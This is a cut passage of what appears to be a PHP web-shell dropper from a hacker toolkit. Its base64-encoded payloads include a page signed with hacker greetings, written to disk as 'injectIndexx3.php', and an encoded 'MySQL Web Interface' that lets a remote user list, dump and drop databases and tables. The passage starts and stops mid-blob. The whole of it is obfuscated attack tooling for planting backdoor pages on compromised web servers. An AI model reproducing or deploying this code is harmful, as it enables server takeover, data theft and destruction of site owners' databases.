JyMwMDgwRkYnPgpMb3YzckROUzwvZm9udD4mbmJzcDsgfCA8Zm9udCBjb2xvcj0nIzAwODBGRic+ d3d3LmxvdjNycGhwLndvcmRwcmVzcy5jb208L2ZvbnQ+Jm5ic3A7Jm5ic3A7Cnw8L2I+PC9wPgo8 cD48Yj5HcmVldHMgOiB8PGZvbnQgY29sb3I9JyMwMDgwRkYnPiBNci5EbTRyPC9mb250PiAtIDxm b250IGNvbG9yPScjMDA4MEZGJz4KU2hhcmsgSGlkZGVuPC9mb250PiAtIDxmb250IGNvbG9yPScj MDA4MEZGJz54U2VjdXJpdHk8L2ZvbnQ+IC0KPGZvbnQgY29sb3I9JyMwMDgwRkYnPk5lVC1EZXZp bDwvZm9udD4gLSA8Zm9udCBjb2xvcj0nIzAwODBGRic+RHIuVGFpR2FyPC9mb250PiB8IDwvYj48 L3A+CgoKICA8L2Zvcm0+CgogICI7Cgp9Cj8+'; file_put_contents('injectIndexx3.php',base64_decode($injectx3)); echo "Here injectIndexx3.php
"; $sql = 'PD9waHAKCi8qCiAqIE15U1FMIFdlYiBJbnRlcmZhY2UgVmVyc2lvbiAyCiAqIC0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0KICogRGV2ZWxvcGVkIEJ5IHNOaXBlcl9oRXgKKi8KCmlmICgg ZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYgPSBpbmlfZ2V0KCdyZWdpc3Rl cl9nbG9iYWxzJyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xv YmFscycpOwp9CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMs IEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl9TS0lQKTsKCUBl eHRyYWN0KCRIVFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9QT1NU X1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRfVkFSUywgRVhUUl9TS0lQKTsK CUBleHRyYWN0KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9CgpmdW5jdGlvbiBsb2dvbigp IHsKCWdsb2JhbCAkUEhQX1NFTEY7CgoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJu YW1lIiApOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApOwoJc2V0Y29v a2llKCAibXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApOwoJZWNobyAiPGh0bWw+XG4iOwoJZWNo byAiPGhlYWQ+XG4iOwoJZWNobyAiPHRpdGxlPk15U1FMIEludGVyZmFjZTwvdGl0bGU+XG4iOwoJ ZWNobyAiPC9oZWFkPlxuIjsKCWVjaG8gIjxib2R5PlxuIjsKCWVjaG8gIjx0YWJsZSB3aWR0aD0x MDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBh ZGRpbmc9Mj48dHI+PHRkIGJnY29sb3I9I2E0YTI2MD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJs ZSBjZWxscGFkZGluZz0yMD48dHI+PHRkIGJnY29sb3I9I2ZmZmZmZj48Y2VudGVyPlxuIjsKCWVj aG8gIjxoMT5NeVNRTCBXZWIgSW50ZXJmYWNlPC9oMT5cbiI7CgllY2hvICI8Zm9ybSBhY3Rpb249 JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZh bHVlPWxvZ29uX3N1Ym1pdD5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NSBjZWxsc3Bh Y2luZz0xPlxuIjsKCWVjaG8gIjx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBl PXRleHQgbmFtZT1ob3N0bmFtZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+XG4iOwoJZWNo byAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJu YW1lPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+PHRkPiA8aW5w dXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8L3Rh YmxlPjxwPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsK CWVjaG8gIjxpbnB1dCB0eXBlPXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsKCWVjaG8gIjwv Zm9ybT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8 L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxu IjsKCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKCWVjaG8gIjwvYm9keT5c biI7CgllY2hvICI8L2h0bWw+XG4iOwp9CgpmdW5jdGlvbiBsb2dvbl9zdWJtaXQoKSB7CglnbG9i YWwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRob3N0bmFtZSAsJFBIUF9TRUxGOwoJaWYoJGhvc3Ru YW1lID09JycpCgkJJGhvc3RuYW1lID0gJ2xvY2FsaG9zdCc7CglzZXRjb29raWUoICJteXNxbF93 ZWJfYWRtaW5fdXNlcm5hbWUiLCAkdXNlcm5hbWUgKTsKCXNldGNvb2tpZSggIm15c3FsX3dlYl9h ZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWlu X2hvc3RuYW1lIiwgJGhvc3RuYW1lICk7CgllY2hvICI8aHRtbD4iOwoJZWNobyAiPGhlYWQ+IjsK CWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxG P2FjdGlvbj1saXN0REJzJz4iOwoJZWNobyAiPC9oZWFkPiI7CgllY2hvICI8L2h0bWw+IjsKfQoK ZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0KCkgewoJZ2xvYmFsICRxdWVyeVN0ciwgJGVyck1zZzsK CglpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2VzcyI7CglpZiggJHF1ZXJ5U3Ry ICE9ICIiICkgewoJCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz01PlxuIjsKCQllY2hvICI8dHI+ PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3RyPlxuIjsKCQllY2hvICI8dHI+PHRk PlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOwoJCWVjaG8gIjwvdGFibGU+PHA+ XG4iOwoJfQp9CgpmdW5jdGlvbiBsaXN0RGF0YWJhc2VzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRs ZSwgJFBIUF9TRUxGOwoKCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOwoKCWVjaG8g Ijxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBu YW1lPWRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBE YXRhYmFzZSc+XG4iOwoJZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjxocj5cbiI7CgoJZWNobyAi PHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgoJJHBEQiA9IG15c3FsX2xp c3RfZGJzKCAkbXlzcWxIYW5kbGUgKTsKCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOwoJ Zm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZGJuYW1lID0gbXlzcWxfZGJuYW1l KCAkcERCLCAkaSApOwoJCWVjaG8gIjx0cj5cbiI7CgkJZWNobyAiPHRkPiRkYm5hbWU8L3RkPlxu IjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFt ZT0kZGJuYW1lJz5UYWJsZXM8L2E+PC90ZD5cbiI7CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBf U0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZp cm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOwoJCWVj aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWR1bXBEQiZkYm5hbWU9JGRibmFtZScg b25DbGljaz1cInJldHVybiBjb25maXJtKCdEdW1wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+ RHVtcDwvYT48L3RkPlxuIjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCWVjaG8gIjwvdGFibGU+XG4i Owp9CgpmdW5jdGlvbiBjcmVhdGVEYXRhYmFzZSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk Ym5hbWUsICRQSFBfU0VMRjsKCglteXNxbF9jcmVhdGVfZGIoICRkYm5hbWUsICRteXNxbEhhbmRs ZSApOwoJbGlzdERhdGFiYXNlcygpOwp9CgpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7CglnbG9i YWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfZHJvcF9kYiggJGRi bmFtZSwgJG15c3FsSGFuZGxlICk7CglsaXN0RGF0YWJhc2VzKCk7Cn0KCmZ1bmN0aW9uIGxpc3RU YWJsZXMoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoKCWVj aG8gIjxoMT5UYWJsZXMgTGlzdDwvaDE+XG4iOwoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRi bmFtZTwvcD5cbiI7CgllY2hvUXVlcnlSZXN1bHQoKTsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBI UF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9 Y3JlYXRlVGFibGU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZh bHVlPSRkYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRhYmxlbmFtZT5c biI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOwoJ ZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7Cgll Y2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOwoJZWNo byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJZWNo byAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTEyMCBuYW1lPXF1ZXJ5U3RyPlxuIjsKCWVjaG8gIjxp bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cgll Y2hvICI8aHI+XG4iOwoKCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOwoK CWlmKCAkcFRhYmxlID09IDAgKSB7CgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOwoJCWVjaG8gIjxo Mz5FcnJvciA6ICRtc2c8L2gzPjxwPlxuIjsKCQlyZXR1cm47Cgl9CgkkbnVtID0gbXlzcWxfbnVt X3Jvd3MoICRwVGFibGUgKTsKCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGlu Zz01PlxuIjsKCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSR0YWJsZW5hbWUg PSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7CgoJCWVjaG8gIjx0cj5cbiI7CgkJZWNo byAiPHRkPlxuIjsKCQllY2hvICIkdGFibGVuYW1lXG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCWVj aG8gIjx0ZD5cbiI7CgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj12aWV3U2NoZW1h JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5TY2hlbWE8L2E+XG4iOwoJCWVj aG8gIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD5cbiI7CgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxG P2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RGF0 YTwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8YSBo cmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BUYWJsZSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9 JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIFRhYmxlIFwnJHRhYmxl bmFtZVwnPycpXCI+RHJvcDwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7CgkJZWNobyAiPHRkPlxu IjsKCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWR1bXBUYWJsZSZkYm5hbWU9JGRi bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEdW1w IFRhYmxlIFwnJHRhYmxlbmFtZVwnPycpXCI+RHVtcDwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7 CgkJZWNobyAiPC90cj5cbiI7Cgl9CgoJZWNobyAiPC90YWJsZT4iOwp9CgpmdW5jdGlvbiBjcmVh dGVUYWJsZSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQ SFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOwoKCSRxdWVyeVN0ciA9ICJDUkVBVEUgVEFCTEUg JHRhYmxlbmFtZSAoIG5vIElOVCApIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3Fs SGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJN c2cgPSBteXNxbF9lcnJvcigpOwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24gZHJvcFRhYmxl KCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxG LCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFt ZSI7CglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVl cnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsK CglsaXN0VGFibGVzKCk7Cn0KCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7CglnbG9iYWwgJG15c3Fs SGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1z ZzsKCgllY2hvICI8aDE+VGFibGUgU2NoZW1hPC9oMT5cbiI7CgllY2hvICI8cCBjbGFzcz1sb2Nh dGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7CgoJZWNob1F1ZXJ5UmVzdWx0KCk7 CgoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGRGaWVsZCZkYm5hbWU9JGRibmFt ZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIEZpZWxkPC9hPiB8IFxuIjsKCWVjaG8gIjxhIGhy ZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0RhdGEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0 YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVzdWx0ID0g bXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7 CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxlIGNlbGxz cGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAiPHRoPkZp ZWxkPC90aD5cbiI7CgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51bGw8L3Ro PlxuIjsKCWVjaG8gIjx0aD5LZXk8L3RoPlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7 CgllY2hvICI8dGg+RXh0cmE8L3RoPlxuIjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90 aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyAp IHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hvICI8dHI+ XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRk PiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJd LiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsKCQllY2hv ICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxk WyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwoJCWVj aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9JGRibmFt ZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwvYT48L3Rk PlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJu YW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9u Q2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRy b3A8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsK Cn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwg JGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAkY21kID09 ICJhZGQiICkKCQllY2hvICI8aDE+QWRkIEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAkY21kID09 ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVzdWx0ID0g bXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7 CgkJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAwOyAkaSA8 ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCAp OwoJCQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmllbGR0eXBl ID0gJGZpZWxkWyJUeXBlIl07CgkJCQkkZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJCQkJJGZp ZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07CgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxs Il07CgkJCQkkZmllbGRkZWZhdWx0ID0gJGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVhazsKCQkJ fQoJCX0KCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlpZiggc3Ry cG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBl ID09ICJzZXQiICkgewoJCQkJJHZhbHVlbGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJCQl9IGVs c2UgewoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAkZmllbGR0 eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9Cgl9CgoJ ZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOwoJ ZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJ CWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJt aXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9 aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVjaG8gIjxp bnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOwoJfQoJ ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJ ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+ XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5h bWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8L2gzPgoK PGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48 YnI+CiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMg dGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4KPC9m b250PgoKPHRhYmxlPgo8dHI+Cjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4m bmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5h cnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9 IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hv ICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+ Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk Pgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5 cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gImNo ZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFsaWduPWNl bnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5 cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9PSAibWVk aXVtaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4IH4gODM4 ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFs aWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K PC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJTlQiICc7 IGlmKCAkdHlwZSA9PSAiaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0yMTQ3NDgz NjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8 L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+ Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFs dWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNo byAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwv dGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50 ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0 cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAk dHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4KPHRkIGFs aWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlu cHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlwZSA9PSAi ZG91YmxlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxpZ249Y2Vu dGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxp Z249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1h bCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0ZCBhbGln 